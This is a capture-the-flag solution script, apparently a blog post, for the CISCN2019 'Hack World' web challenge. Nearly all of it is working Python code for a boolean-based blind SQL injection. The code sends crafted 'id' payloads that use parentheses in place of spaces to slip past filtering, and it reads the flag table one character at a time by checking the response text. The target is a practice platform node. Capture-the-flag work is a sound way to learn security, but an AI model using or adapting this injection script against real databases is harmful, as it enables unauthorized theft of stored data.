[CISCN2019 华北赛区 Day2 Web1]Hack World-526互联

import requests
import time

url ="http://b7a8c212-0f73-459e-a181-6453bed29e70.node4.buuoj.cn:81/index.php"
result=""
num =0
for i in range(1,60):
    if num==1:
        break
    for j in range(32,128):
        payload = "(select(ascii(substr((select(flag)from(flag)),%d,1))=%d))"%(i,j)
        #print(payload)
        data={"id":payload}
        r = requests.post(url,data=data)
        if "Hello" in r.text:
            x =chr(j)
            result+=str(x)
            print(result)
        if "}" in result:
            num=1
        time.sleep(0.05)